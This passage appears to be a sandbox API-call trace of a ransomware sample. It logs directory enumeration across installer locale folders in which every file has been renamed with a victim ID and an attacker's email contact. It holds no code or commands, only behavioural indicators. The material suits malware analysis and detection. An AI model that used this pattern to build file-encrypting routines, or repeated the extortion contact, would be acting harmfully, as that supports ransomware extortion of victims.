	[0165.925] FindNextFileW (in: hFindFile=0x6abbd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81d34fc9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81d34fc9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81d5aff5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.925] FindNextFileW (in: hFindFile=0x6abbd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819a15fe, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819a15fe, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819a15fe, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.925] FindNextFileW (in: hFindFile=0x6abbd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819a15fe, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819a15fe, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819a15fe, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.925] FindClose (in: hFindFile=0x6abbd8 | out: hFindFile=0x6abbd8) returned 1
	[0165.926] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.926] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0165.926] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.926] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb58
	[0165.927] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.927] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81d81336, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81d81336, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x820c8776, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.928] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81da7579, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81da7579, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81da7579, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.928] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818bd56b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818bd56b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818bd56b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.928] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818bd56b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818bd56b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818bd56b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.928] FindClose (in: hFindFile=0x6abb58 | out: hFindFile=0x6abb58) returned 1
	[0165.929] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.929] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0165.929] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.929] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abe98
	[0165.931] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.931] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81dcd816, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81dcd816, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81dcd816, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.931] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81dcd816, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81dcd816, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82114cf6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.931] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818e2a76, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818e2a76, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818e2a76, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.931] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818e2a76, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818e2a76, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818e2a76, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.931] FindClose (in: hFindFile=0x6abe98 | out: hFindFile=0x6abe98) returned 1
	[0165.932] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.932] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0165.932] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.932] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abd98
	[0165.934] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.934] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81e3ff67, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81e3ff67, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e3ff67, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.934] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81e66189, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81e66189, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e66189, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.934] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818e2a76, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818e2a76, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818e2a76, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.934] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818e2a76, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818e2a76, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818e2a76, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.934] FindClose (in: hFindFile=0x6abd98 | out: hFindFile=0x6abd98) returned 1
	[0165.935] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.935] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
	[0165.935] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.935] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb58
	[0165.937] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.937] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81e8c580, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81e8c580, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8221fcf6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.937] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81e8c580, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81e8c580, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e8c580, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.937] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819c784b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819c784b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819c784b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.937] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819c784b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819c784b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819c784b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.937] FindClose (in: hFindFile=0x6abb58 | out: hFindFile=0x6abb58) returned 1
	[0165.938] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.938] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0165.938] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.938] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abc18
	[0165.940] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.940] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81eb4185, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81eb4185, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81eb4185, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.940] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81eb4185, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81eb4185, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81ed881d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.940] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819c784b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819c784b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819ed971, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.940] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819c784b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819c784b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819ed971, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.940] FindClose (in: hFindFile=0x6abc18 | out: hFindFile=0x6abc18) returned 1
	[0165.941] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.941] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0165.941] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.941] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0165.942] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
